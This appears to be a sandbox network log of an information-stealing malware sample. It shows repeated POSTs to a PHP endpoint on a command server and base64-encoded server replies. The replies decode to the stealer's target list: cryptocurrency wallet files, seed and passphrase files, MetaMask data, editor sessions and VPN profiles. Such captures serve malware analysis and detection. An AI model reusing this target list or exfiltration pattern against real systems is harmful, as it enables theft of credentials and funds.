68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 23, 2024 09:38:25.829045057 CEST	466	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.172.128.76 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="message"files------EBGCFBGCBFHJECBGDAKK--
Apr 23, 2024 09:38:26.139389038 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 23, 2024 09:38:26.303469896 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:26.631390095 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:26.646925926 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:26.977401018 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:27.003824949 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAA Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:27.334543943 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:27.346694946 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:27.673593044 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:27.706327915 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:28.035777092 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:28.043143034 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:28.368319035 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:28.386797905 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:28.715065956 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:28.851035118 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:29.180979967 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:30.617975950 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:30.942167044 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:30.948750019 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:31.272617102 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:31.284419060 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:31.611105919 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:31.618983984 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:31.944538116 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:31.992502928 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:32.330228090 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:32.342061996 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:32.669513941 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:32.677409887 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAEC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:33.003365993 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:33.008450985 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:33.347377062 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:33.354320049 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:33.680855036 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:33.688539982 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:34.014082909 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:34.022090912 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:34.350811958 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:34.358047009 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:34.686773062 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:34.720844030 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:35.044363022 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:35.051573038 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:35.378236055 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:35.385190010 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:35.707868099 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:35.715620995 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:36.043287039 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:36.054944992 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:36.382669926 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:36.390481949 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:36.715833902 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:36.723893881 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:37.055644035 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:37.063318014 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:37.408658028 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:37.416831017 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:37.743391037 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:37.792083025 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:38.120033026 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:38.126347065 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:38.453560114 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:38.459490061 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:38.783622980 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:38.790018082 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:39.112260103 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:39.119457960 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
